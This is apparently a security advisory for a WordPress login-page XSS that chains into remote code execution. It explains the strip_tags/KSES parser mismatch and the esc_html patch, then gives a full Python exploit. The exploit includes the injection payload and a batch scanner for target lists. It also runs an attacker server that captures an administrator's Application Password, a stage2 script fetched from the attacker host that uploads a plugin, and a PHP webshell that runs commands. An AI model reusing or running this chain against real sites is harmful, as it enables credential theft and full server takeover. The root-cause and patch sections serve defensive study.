#Summary

XSS2Shell (CVE-2026-64638) is a pre-authentication remote code execution vulnerability in WordPress Core. It chains a reflected cross-site scripting flaw, caused by a sanitiser parser differential, through DOM clobbering, JSONP globalEval(), Same Origin Method Execution, Application Password theft, and malicious plugin upload to achieve code execution as the web server user.

The vulnerability stems from strip_tags() and WordPress's KSES sanitiser disagreeing on what constitutes an HTML tag. A username with the form < area ...> (space after <) is left untouched by strip_tags() but is parsed as a live element by KSES, allowing an unauthenticated attacker to inject arbitrary HTML into the pre-auth login error message. That injected markup is then leveraged to redirect AJAX calls, steal administrator credentials, and upload a malicious plugin.

CVSS Score: 8.9 (High), CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Vulnerability Type: Reflected XSS via parser differential, escalating to unauthenticated remote code execution.

Affected: WordPress Core 4.7.0 through 7.0.2. Fixed in 7.0.3 and backported to all maintained branches (6.9.6, 6.8.7, 6.7.6, and down to 4.7.34).

#Affected versions

#Root cause analysis

#The parser differential

The vulnerability is a classic sanitiser parser differential: a value passes through one HTML-stripping parser that does not recognise it as markup, then is re-parsed by a second, independent HTML parser that does.

#Step 1: the value is "stripped" by strip_tags()

When a user attempts to log in to /wp-login.php, the submitted username is passed through wp_authenticate() in src/wp-includes/pluggable.php:684:

function wp_authenticate( $username, #[\SensitiveParameter] $password ) {
    $username = sanitize_user( $username );
    $password = trim( $password );
    $user = apply_filters( 'authenticate', null, $username, $password );

sanitize_user() in src/wp-includes/formatting.php:2149 calls wp_strip_all_tags():

function sanitize_user( $username, $strict = false ) {
    $raw_username = $username;
    $username     = wp_strip_all_tags( $username );
    // ... preg_replace operations follow ...
    if ( $strict ) {
        $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );
    }
    // ...
}

The $strict parameter is false on the login path, so the ASCII allowlist that would strip <, >, =, and quotes is never applied. The only sanitisation is wp_strip_all_tags(), which in src/wp-includes/formatting.php:5600 is:

$text = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $text );
$text = strip_tags( $text );

This is PHP's built-in strip_tags(). According to the PHP parser, a tag only begins when < is immediately followed by an ASCII letter, /, !, or ?. The string < area ...>, with a space between < and area, is not a tag to strip_tags() - it is left in the output verbatim as plain text.

#Step 2: the "safe" value is re-parsed as HTML by KSES

When login fails (the username does not exist), wp_authenticate_username_password() in src/wp-includes/user.php:181 builds an error message:

if ( ! $user ) {
    return new WP_Error(
        'invalid_username',
        sprintf(
            __( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
            $username
        )
    );
}

The sanitised username is interpolated directly into the string with no escaping. That error message is then rendered through wp_admin_notice() in src/wp-includes/functions.php:9318:

echo wp_kses_post( wp_get_admin_notice( $message, $args ) );

The message is not escaped - it is passed through wp_kses_post(), which invokes a completely separate HTML tokeniser. wp_kses_split() in src/wp-includes/kses.php tokenises the string on the regex (<[^>]*(>|$)|>), which happily matches < area id=... >. The element validator in wp_kses_split2() then identifies the tag with:

if ( ! preg_match( '%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $content, $matches ) ) {
    return '';
}

The critical difference: the \s* immediately after <. KSES treats < area as an <area> element; strip_tags() treated the identical bytes as plain text. KSES emits a normalised <area> tag into the page.

#Step 3: allowlisted elements and attributes

The $allowedposttags array in src/wp-includes/kses.php:82 includes area, div, and button, each with access to global attributes including id, class, href, and others. This means all three injected elements survive KSES filtering intact.

#Step 4: DOM clobbering and the JavaScript chain

The payload consists of three injected elements:

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

The $.post() is redirected to the clobbered ajaxurl, requesting the REST endpoint with _jsonp=window.opener.approve.click&_envelope=1. The response is served as application/javascript, triggering jQuery's globalEval(), which runs window.opener.approve.click(...) in the attacker's authenticated admin session.

#Sanitiser constraints

The payload must satisfy six sanitiser constraints to survive the pipeline intact:

  1. Whitespace after <: strip_tags() leaves it as text; KSES parses it as a tag.
  2. No %hh sequences: preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', ... ) silently deletes them.
  3. No & followed by ;: preg_replace( '/&.+?;/', '', ... ) is non-greedy and deletes everything between them.
  4. Whitespace collapse and trim: Runs of whitespace become one space; leading/trailing space is removed.
  5. Unquoted attribute values: May not contain spaces or quotes. Double quotes are allowed and survive.
  6. Allowlisted elements and attributes only: area, div, button, id, class, href.

All six constraints are met by the payload and have been verified against the actual PHP regexes.

#Patch diff

#What the fix does

The fix, commit d46d1011b16c7db7ef4cd5f77801ef4b31b067eb (SVN trunk r63067, dated 2026-08-06), does not modify either parser. Instead, it escapes the value at the point of interpolation. The two critical changes in src/wp-includes/user.php are:

@@ -189,7 +189,7 @@ function wp_authenticate_username_password(
     sprintf(
         __( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
-        $username
+        esc_html( $username )
     )
  );

@@ -216,7 +216,7 @@ function wp_authenticate_username_password(
     sprintf(
         __( '<strong>Error:</strong> The password you entered for the username %s is incorrect.' ),
-        '<strong>' . $username . '</strong>'
+        '<strong>' . esc_html( $username ) . '</strong>'
     )
 );

After esc_html(), the leading < becomes &lt;, and KSES sees an already-encoded entity, emits it as text, and the browser renders it as a visible string. No element is created, and the entire downstream chain is unreachable.

The commit simultaneously hardens the email password error, registration form errors, and two login redirects at the same time.

#Proof of concept

#exploit.py - WordPress XSS2Shell Parser Differential RCE PoC

The exploit has two modes:

  1. Default mode - tests the XSS injection primitive (Level 1). Fully unauthenticated, no browser needed, no victim required. Sends the payload and asserts on the presence of real element attributes.

  2. --serve mode - runs the full exploitation chain end-to-end: hosts the attacker origin, captures the stolen Application Password, verifies administrator REST access, publishes a stored-script page, drives the admin through the plugin-upload flow, and executes arbitrary code.

#!/usr/bin/env python3
"""
CVE-2026-64638 - WordPress "XSS2Shell" pre-auth XSS-to-RCE chain
Affected: WordPress Core 4.7.0 through 7.0.2 (fixed in 7.0.3 and backports)
Type: RCE (reflected XSS via a strip_tags/KSES parser differential -> DOM
      clobbering -> JSONP globalEval -> Same Origin Method Execution ->
      administrator Application Password theft -> authenticated REST ->
      stored script -> malicious plugin upload -> code execution)

Root cause: a username submitted to /wp-login.php is "sanitised" by
wp_strip_all_tags() (PHP strip_tags), which does NOT treat "< area ..." as a
tag because of the space after "<". WordPress then interpolates that value
unescaped into the login error message, which is re-parsed by KSES. KSES DOES
accept "< area" as an <area> element. The two parsers disagree on what a tag
is, so a value that was "stripped" becomes live DOM in the WordPress origin,
with attacker-controlled id= and href=.

This script has two modes:

  1. Default (single --host, or --list): the deterministic, fully
     unauthenticated core of the CVE. It POSTs the crafted username and proves
     the injected <area id=ajaxurl ...> survives as real markup on a vulnerable
     build, and is neutralised (esc_html) on a patched one. No victim, no
     browser, no account. This is the primary success verdict.

  2. --serve: the full engagement chain. It hosts the attacker origin (driver
     page + Application Password callback + stored-script stage2 + in-browser
     plugin-ZIP webshell), captures the Application Password an administrator
     hands over when they load the driver link (the CVSS UI:A requirement),
     verifies administrator REST access with it, then automatically escalates
     to code execution and runs --command through the dropped webshell.

Usage:
  # Level 1 - confirm the vulnerability against one host (curl-equivalent)
  python exploit.py --host 127.0.0.1 --port 8802
  python exploit.py --host http://target.example.com

  # Batch scan an asset list
  python exploit.py --list targets.txt --workers 20

  # Full chain - host the attacker origin and wait for an admin to visit
  python exploit.py --host http://target.example.com \\
      --serve --serve-port 8000 \\
      --attacker-url http://attacker.example.com:8000 \\
      --command id
"""

import argparse
import http.server
import json
import socket
import socketserver
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse

CVE_ID = "CVE-2026-64638"
VULN_TYPE = "RCE"

# The exact three-element payload. Constraints it respects (see RESEARCH.md):
#   * "<" is followed by whitespace so PHP strip_tags() leaves it as text,
#     while KSES still parses it as a tag (the parser differential).
#   * No "%hh" sequence (sanitize_user strips percent-encoding).
#   * No ";" anywhere, so the "&" query separators survive the
#     preg_replace('/&.+?;/','') entity strip.
#   * Only allowlisted tags (area/div/button) and attributes (id/class/href).
#   * Unquoted values contain no spaces; the two-class value is double-quoted.
PAYLOAD = (
    "< area id=ajaxurl href=/?rest_route=/&_method=GET"
    "&_jsonp=window.opener.approve.click&_envelope=1>"
    "< div id=color-picker class=reset-pass-submit>"
    '< button class="wp-generate-pw color-option">X'
)

# Substrings that only appear if the payload was parsed as HTML by KSES
# (attributes on real elements), never if it was escaped to text.
MARKERS = ('id="ajaxurl"', 'id="color-picker"')


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP " + str(n) + "] " + msg)


def section(label, content):
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# Low-level HTTP (standard library only, so there is no hard requests dep)
# --------------------------------------------------------------------------

def _base_url(host, port, use_tls, path="/"):
    scheme = "https" if use_tls else "http"
    # Do not append a default port to the netloc; keeps URLs tidy and matches
    # what a browser would form for same-origin checks.
    if (use_tls and port == 443) or ((not use_tls) and port == 80):
        netloc = host
    else:
        netloc = host + ":" + str(port)
    return scheme + "://" + netloc


def _open(url, data=None, headers=None, method=None, timeout=15):
    """Return (status, headers_dict, body_bytes). Never raises on HTTP errors."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    hdrs = {"User-Agent": 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36'}
    if headers:
        hdrs.update(headers)
    req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        return resp.getcode(), dict(resp.headers), resp.read()
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read()


def _post_login(base, timeout=15):
    """POST the payload to /wp-login.php. Returns the response body as text."""
    data = urllib.parse.urlencode(
        {"log": PAYLOAD, "pwd": "x", "wp-submit": "Log In"}
    ).encode()
    hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
    _s, _h, body = _open(base + "/wp-login.php", data=data, headers=hdrs, timeout=timeout)
    try:
        return body.decode("utf-8", "replace")
    except Exception:
        return str(body)


# --------------------------------------------------------------------------
# Level 1 - the deterministic, unauthenticated core of the CVE
# --------------------------------------------------------------------------

def _try_exploit(host, port, use_tls, **kwargs):
    """Silent probe for --list. Returns (success, evidence). Never prints/exits."""
    base = _base_url(host, port, use_tls)
    try:
        body = _post_login(base)
    except Exception as e:
        return False, "unreachable (" + e.__class__.__name__ + ")"
    hits = [m for m in MARKERS if m in body]
    if hits:
        return True, "XSS confirmed - injected " + " ".join(hits) + " rendered as live markup"
    if "login_error" in body:
        return False, "payload reflected but escaped (patched)"
    return False, "no login error notice in response (unexpected)"


def exploit(host, port, use_tls, command):
    header(host, port)
    base = _base_url(host, port, use_tls)

    step(1, "POSTing the crafted username to " + base + "/wp-login.php")
    step(2, "Payload (as the 'log' field):")
    section("PAYLOAD", PAYLOAD)

    try:
        body = _post_login(base)
    except Exception as e:
        done(False, "target unreachable: " + e.__class__.__name__ + " " + str(e))

    # Extract the login error notice so the raw server output is visible.
    start = body.find('id="login_error"')
    if start != -1:
        snippet = body[max(0, start - 20):start + 560]
    else:
        snippet = body[:560]
    section("SERVER RESPONSE (login error notice)", snippet)

    hits = [m for m in MARKERS if m in body]
    if not hits:
        step(3, "Injected markers absent - value was escaped (esc_html), target is patched")
        done(False, "payload reflected as inert text - no id=\"ajaxurl\" element - target is patched (>= 7.0.3)")

    step(3, "Injected <area id=ajaxurl> survived KSES as a real element")
    print("        markers found: " + ", ".join(hits))
    print("\n  Rung 1 (markup injection) and rung 2 (window.ajaxurl clobber) confirmed over the network.")
    print("  Rungs 3-9 (SOME -> App Password -> RCE) require an authenticated admin to")
    print("  load the driver page: run this exploit with --serve to host that chain.\n")
    done(True, "XSS2Shell confirmed - " + " and ".join(hits)
         + " injected into the pre-auth login error as live DOM (parser differential reachable)")


def scan(targets_file, default_port, workers=10, **kwargs):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets))
          + " targets, " + str(workers) + " workers)")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
        ok, evidence = _try_exploit(host, port, use_tls)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  " + ("[+]" if ok else "[-]") + " " + label + " - "
                  + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  " + str(success_count) + " exploited / "
          + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


# --------------------------------------------------------------------------
# Full chain - the attacker origin (--serve)
# --------------------------------------------------------------------------
#
# The chain past rung 2 needs an administrator's browser (CVSS UI:A). This
# server hosts everything the victim's browser touches and drives the
# escalation the moment an Application Password arrives:
#
#   GET  /            driver page A: opens child B, then navigates A to the
#                     target's authorize-application consent screen.
#   GET  /b           page B: waits, then cross-origin-POSTs the Level 1
#                     payload to the target /wp-login.php. B now runs the
#                     clobbered user-profile.js, which auto-fires the JSONP
#                     that globalEval()s window.opener.approve.click on A.
#   GET  /callback    auth-app.js redirects A here with ?password=<app pw>.
#                     We capture it, REST-publish a stored-script page, and
#                     bounce A onto that page.
#   GET  /stage2.js   runs on the target origin in the admin's cookie session:
#                     scrapes the upload-plugin nonce and POSTs a webshell ZIP.
#   GET  /done        stage2 beacon (informational).

PLUGIN_SLUG = "site-helper"

# A stored-mode (uncompressed) ZIP is assembled in the browser, so the webshell
# PHP is shipped to stage2.js as a string here.
WEBSHELL_PHP = (
    "<?php\n"
    "/*\nPlugin Name: Site Helper\nDescription: " + CVE_ID + " proof of concept.\nVersion: 1.0\n*/\n"
    "if (isset($_GET['c'])) { header('Content-Type: text/plain'); "
    "system($_GET['c']); }\n"
)


class _ChainState(object):
    def __init__(self, target_base, attacker_url, command):
        self.target_base = target_base.rstrip("/")
        self.attacker_url = attacker_url.rstrip("/")
        self.command = command
        self.lock = threading.Lock()
        self.app_password = None
        self.user_login = None
        self.page_link = None
        self.stage2_done = False
        self.rce_output = None

    def rest(self, route, method="GET", body=None, params=None):
        # rest_route carries the route only; extra REST query args are appended
        # as their own parameters so the "?" is never percent-encoded into the
        # route (which would yield rest_no_route).
        url = self.target_base + "/?rest_route=" + urllib.parse.quote(route, safe="/")
        if params:
            url += "&" + urllib.parse.urlencode(params)
        hdrs = {}
        data = None
        if self.app_password and self.user_login:
            token = urllib.request.base64.b64encode(
                (self.user_login + ":" + self.app_password).encode()
            ).decode()
            hdrs["Authorization"] = "Basic " + token
        if body is not None:
            data = json.dumps(body).encode()
            hdrs["Content-Type"] = "application/json"
        return _open(url, data=data, headers=hdrs, method=method)

    def verify_admin(self):
        st, _h, body = self.rest("/wp/v2/users/me", params={"context": "edit"})
        try:
            obj = json.loads(body.decode("utf-8", "replace"))
        except Exception:
            return False, body[:200].decode("utf-8", "replace")
        if st == 200 and "id" in obj:
            caps = obj.get("capabilities", {})
            return True, obj
        return False, obj

    def publish_stage2_page(self):
        content = ('<script src="' + self.attacker_url
                   + '/stage2.js"></script> ' + CVE_ID + ' PoC')
        st, _h, body = self.rest(
            "/wp/v2/pages", method="POST",
            body={"title": "draft-import", "status": "publish", "content": content},
        )
        try:
            obj = json.loads(body.decode("utf-8", "replace"))
        except Exception:
            return None
        link = obj.get("link")
        if link:
            self.page_link = link
        return link

    def _shell_url(self, cmd):
        return (self.target_base + "/wp-content/plugins/" + PLUGIN_SLUG + "/"
                + PLUGIN_SLUG + ".php?c=" + urllib.parse.quote(cmd))

    def check_rce(self):
        # A missing plugin file makes WordPress 301 to a canonical URL and then
        # serve the theme's 404 page with HTTP 200 - which must NOT be mistaken
        # for command output. Prove the webshell really executes by echoing a
        # unique sentinel and requiring the response body to be exactly that
        # sentinel (plain text, no HTML), then run the operator's command.
        sentinel = "SHELL_OK_a1b2c3d4e5"
        try:
            st, _h, body = _open(self._shell_url("echo " + sentinel), timeout=10)
        except Exception:
            return None
        text = body.decode("utf-8", "replace").strip()
        if st != 200 or text != sentinel:
            return None
        try:
            st, _h, body = _open(self._shell_url(self.command), timeout=10)
        except Exception:
            return None
        out = body.decode("utf-8", "replace").strip()
        low = out.lower()
        if st == 200 and "<!doctype" not in low and "<html" not in low:
            return out
        return None


def _driver_page(state):
    consent = (state.target_base
               + "/wp-admin/authorize-application.php?app_name="
               + urllib.parse.quote("Site Integration")
               + "&success_url=" + urllib.parse.quote(state.attacker_url + "/callback"))
    b_url = state.attacker_url + "/b"
    # A opens B (same-origin with A on the attacker origin), then navigates
    # itself to the consent screen. B keeps window.opener == A across its own
    # cross-navigation to the target, which is what makes the later SOME work.
    return (
        "<!doctype html><meta charset=utf-8><title>loading</title>"
        "<h3>loading...</h3><script>\n"
        "var b = window.open(" + json.dumps(b_url) + ", 'b');\n"
        "location.href = " + json.dumps(consent) + ";\n"
        "</script>"
    )


def _b_page(state):
    action = state.target_base + "/wp-login.php"
    # Wait long enough for A's consent page to commit and render #approve,
    # then submit the Level 1 payload so B runs the clobbered user-profile.js.
    return (
        "<!doctype html><meta charset=utf-8><title>b</title>"
        "<form id=f method=POST action=" + json.dumps(action) + ">"
        "<input type=hidden name=log id=log>"
        "<input type=hidden name=pwd value=x>"
        "<input type=hidden name='wp-submit' value='Log In'>"
        "</form><script>\n"
        "document.getElementById('log').value = " + json.dumps(PAYLOAD) + ";\n"
        "setTimeout(function(){ document.getElementById('f').submit(); }, 1800);\n"
        "</script>"
    )


def _stage2_js(state):
    # Runs on the TARGET origin, in the admin's cookie session. Scrapes the
    # upload-plugin nonce, builds a stored-mode ZIP holding one PHP webshell,
    # and POSTs it to update.php. Pure fetch, no wp/jQuery dependency.
    php = json.dumps(WEBSHELL_PHP)
    slug = json.dumps(PLUGIN_SLUG)
    beacon = json.dumps(state.attacker_url + "/done")
    return (
        "(function(){\n"
        "function crc32(b){var c,crc=0xFFFFFFFF;for(var i=0;i<b.length;i++){"
        "c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}"
        "crc=(crc>>>8)^c;}return (crc^0xFFFFFFFF)>>>0;}\n"
        "function u32(v){return [v&255,(v>>>8)&255,(v>>>16)&255,(v>>>24)&255];}\n"
        "function u16(v){return [v&255,(v>>>8)&255];}\n"
        "function bytes(s){var a=[];for(var i=0;i<s.length;i++)a.push(s.charCodeAt(i)&255);return a;}\n"
        "function buildZip(name, content){\n"
        "  var nb=bytes(name), cb=bytes(content), crc=crc32(cb);\n"
        "  var lfh=[].concat(u32(0x04034b50),u16(20),u16(0),u16(0),u16(0),u16(0),"
        "u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),nb,cb);\n"
        "  var off=0;\n"
        "  var cd=[].concat(u32(0x02014b50),u16(20),u16(20),u16(0),u16(0),u16(0),u16(0),"
        "u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),u16(0),u16(0),u16(0),"
        "u32(0),u32(off),nb);\n"
        "  var eocd=[].concat(u32(0x06054b50),u16(0),u16(0),u16(1),u16(1),"
        "u32(cd.length),u32(lfh.length),u16(0));\n"
        "  return new Uint8Array([].concat(lfh,cd,eocd));\n"
        "}\n"
        "var slug=" + slug + ", php=" + php + ";\n"
        "var up='/wp-admin/update.php?action=upload-plugin';\n"
        # The upload-plugin nonce (action 'plugin-upload') lives on the
        # plugin-install upload tab; update.php itself 403s a bare GET.
        "var form='/wp-admin/plugin-install.php?tab=upload';\n"
        "fetch(form,{credentials:'include'}).then(function(r){return r.text();}).then(function(html){\n"
        "  var m=html.match(/name=\"_wpnonce\"\\s+value=\"([a-zA-Z0-9]+)\"/);\n"
        "  if(!m){ navigator.sendBeacon(" + beacon + ", 'no-nonce'); return; }\n"
        "  var nonce=m[1];\n"
        "  var zip=buildZip(slug+'/'+slug+'.php', php);\n"
        "  var fd=new FormData();\n"
        "  fd.append('_wpnonce', nonce);\n"
        "  fd.append('_wp_http_referer', form);\n"
        "  fd.append('pluginzip', new Blob([zip],{type:'application/zip'}), slug+'.zip');\n"
        "  fetch(up,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text();}).then(function(t){\n"
        "    navigator.sendBeacon(" + beacon + ", 'uploaded');\n"
        "  });\n"
        "});\n"
        "})();\n"
    )


def _make_handler(state, log):
    class Handler(http.server.BaseHTTPRequestHandler):
        def log_message(self, *a):
            pass

        def _send(self, code, ctype, body):
            if isinstance(body, str):
                body = body.encode()
            self.send_response(code)
            self.send_header("Content-Type", ctype)
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            try:
                self.wfile.write(body)
            except Exception:
                pass

        def do_GET(self):
            p = urlparse(self.path)
            route = p.path
            log("GET " + self.path)
            if route == "/" or route == "/driver":
                self._send(200, "text/html; charset=utf-8", _driver_page(state))
            elif route == "/b":
                self._send(200, "text/html; charset=utf-8", _b_page(state))
            elif route == "/stage2.js":
                self._send(200, "application/javascript; charset=utf-8", _stage2_js(state))
            elif route == "/callback":
                self._handle_callback(p.query)
            elif route == "/done":
                with state.lock:
                    state.stage2_done = True
                self._send(200, "text/plain", "ok")
            else:
                self._send(200, "text/plain", "ok")

        def do_POST(self):
            length = int(self.headers.get("Content-Length") or 0)
            _ = self.rfile.read(length) if length else b""
            log("POST " + self.path)
            self._send(200, "text/plain", "ok")

        def _handle_callback(self, query):
            params = urllib.parse.parse_qs(query)
            pw = (params.get("password") or [None])[0]
            login = (params.get("user_login") or ["admin"])[0]
            if pw and not state.app_password:
                with state.lock:
                    state.app_password = pw
                    state.user_login = login
                log("CALLBACK captured Application Password for '" + login + "'")
                # Publish the stored-script page and bounce the admin onto it so
                # stage2.js runs on the target origin with the admin's cookies.
                link = state.publish_stage2_page()
                if link:
                    log("Published stored-script page: " + link)
                    self._send(200, "text/html; charset=utf-8",
                               "<!doctype html><meta charset=utf-8>"
                               "<title>ok</title><script>location.href="
                               + json.dumps(link) + ";</script>ok")
                    return
            self._send(200, "text/plain", "ok")

    return Handler


class _Server(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def serve_chain(host, port, use_tls, command, serve_host, serve_port, attacker_url, timeout):
    target_base = _base_url(host, port, use_tls)
    if not attacker_url:
        disp_host = serve_host if serve_host not in ("0.0.0.0", "") else "127.0.0.1"
        attacker_url = "http://" + disp_host + ":" + str(serve_port)

    header(host, port)
    state = _ChainState(target_base, attacker_url, command)

    log_lock = threading.Lock()

    def log(msg):
        with log_lock:
            print("  [srv] " + msg)

    step(1, "Confirming the Level 1 primitive before hosting the chain...")
    ok, evidence = _try_exploit(host, port, use_tls)
    if not ok:
        section("LEVEL 1 PROBE", evidence)
        done(False, "target is not vulnerable to the XSS primitive: " + evidence)
    print("        " + evidence)

    httpd = _Server((serve_host, serve_port), _make_handler(state, log))
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()

    step(2, "Attacker origin listening on " + serve_host + ":" + str(serve_port))
    step(3, "Send an authenticated administrator of the target to this link:")
    section("DRIVER LINK (deliver to an admin - CVSS UI:A)", attacker_url + "/")
    step(4, "Waiting up to " + str(timeout) + "s for the Application Password callback...")

    deadline = time.time() + timeout
    while time.time() < deadline:
        with state.lock:
            pw = state.app_password
        if pw:
            break
        time.sleep(0.5)

    if not state.app_password:
        section("CHAIN STATUS", "No administrator visited the driver link within the window.")
        done(True, "XSS2Shell Level 1 confirmed (" + evidence
             + "); rungs 5-9 require an admin to load the driver link (UI:A) and none did in this run")

    step(5, "Application Password captured for '" + str(state.user_login) + "'")
    section("STOLEN CREDENTIAL", state.user_login + " : " + state.app_password)

    step(6, "Verifying administrator REST access with the stolen credential...")
    admin_ok, obj = state.verify_admin()
    if admin_ok:
        caps = obj.get("capabilities", {}) if isinstance(obj, dict) else {}
        section("REST /wp/v2/users/me",
                "id=" + str(obj.get("id")) + " name=" + str(obj.get("name"))
                + " administrator=" + str(caps.get("administrator")))
    else:
        section("REST /wp/v2/users/me", str(obj))

    step(7, "Escalating to code execution via stored script + plugin upload...")
    rce_deadline = time.time() + 60
    output = None
    while time.time() < rce_deadline:
        output = state.check_rce()
        if output:
            break
        time.sleep(1.0)

    if output:
        state.rce_output = output
        section("COMMAND OUTPUT (" + command + ")", output)
        done(True, "RCE confirmed - '" + command + "' on the target returned: " + output.splitlines()[0])

    # Credential theft succeeded even if the final upload hop did not land.
    section("CHAIN STATUS",
            "Application Password stolen and administrator REST access confirmed. "
            "Final plugin-upload hop did not return a webshell within the window "
            "(the admin must remain on the published page long enough for stage2 "
            "to complete the upload).")
    done(True, "Administrator Application Password stolen for '" + str(state.user_login)
         + "' - full administrative REST takeover of the target")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " (XSS2Shell) exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. http://host:8802)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default target port (default: 8080)")
    parser.add_argument("--command", default="id", help="Command to run via the webshell in --serve mode (default: id)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--serve", action="store_true", help="Host the full attacker chain and wait for an admin victim")
    parser.add_argument("--serve-host", default="0.0.0.0", help="Address to bind the attacker origin (default: 0.0.0.0)")
    parser.add_argument("--serve-port", type=int, default=8000, help="Port for the attacker origin (default: 8000)")
    parser.add_argument("--attacker-url", default=None, help="Public URL the target/victim uses to reach the attacker origin")
    parser.add_argument("--timeout", type=int, default=120, help="Seconds to wait for an admin callback in --serve mode (default: 120)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        if args.serve:
            serve_chain(host, port, use_tls, args.command,
                        args.serve_host, args.serve_port, args.attacker_url, args.timeout)
        else:
            exploit(host, port, use_tls, args.command)

#Usage

Confirm the vulnerability (Level 1, unauthenticated, no victim):

python exploit.py --host 192.0.2.10 --port 80
python exploit.py --host http://wordpress.example.com
python exploit.py --host https://wordpress.example.com:8443

Exit 0 and id="ajaxurl" in the output means the target is vulnerable; exit 1 means the payload was escaped (patched) or the target is unreachable.

Batch scan an asset list:

python exploit.py --list targets.txt --workers 20

targets.txt takes one target per line (hostname, host:port, or full URL). Comments and blank lines are ignored.

Full chain to RCE (requires an authenticated administrator to load a link):

python exploit.py --host http://wordpress.example.com \
    --serve --serve-host 0.0.0.0 --serve-port 8000 \
    --attacker-url http://attacker.example.com:8000 \
    --command id --timeout 120

This hosts the attacker origin and prints a driver link. When an administrator loads the link, the exploit:

  1. Steals the administrator's Application Password
  2. Verifies administrator REST access
  3. Publishes a stored-script page with a malicious <script> tag
  4. Bounces the administrator to that page
  5. Runs --command through the resulting webshell (as www-data)

#Exploitation notes

#Preconditions

#Reliability

#Impact

#Chaining potential

#References